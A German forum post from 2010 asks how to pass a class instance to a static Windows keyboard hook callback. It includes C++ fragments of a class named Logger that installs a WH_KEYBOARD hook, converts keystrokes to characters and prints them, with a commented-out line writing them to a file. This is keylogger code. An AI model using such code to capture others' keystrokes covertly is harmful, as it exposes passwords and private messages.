000
04.09.2010, 22:10 Uhr
Moritz1243
|
Hallo,
ich habe für meine aktuelles Programme eine Klasse erstellt um die Tastatur zu hooken, jedoch komme ich nicht weiter, da ich nicht weiß wie ich den this pointer der Tastaturklasse an das Hookproc(static LRESULT CALLBACK _KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) übergeben soll.
Hier mal die wichten funktionen:
C++: |
static LRESULT CALLBACK _KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { Logger* Log = _this; char ch; if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100))) { if (wParam==VK_RETURN) { ch='\n'; printf("%c",ch); //fwrite(&ch,1,1,f1); } else { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch =char(w); printf("%c",ch); } }
}
LRESULT RetVal = CallNextHookEx( Log->_hKeyboardHook, nCode, wParam, lParam );
return RetVal; }
|
C++: |
void InstallHook(void) { //_this = this;
_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)_KeyboardProc,_hHooknstance,0); }
|
Dieser Post wurde am 04.09.2010 um 22:10 Uhr von Moritz1243 editiert. |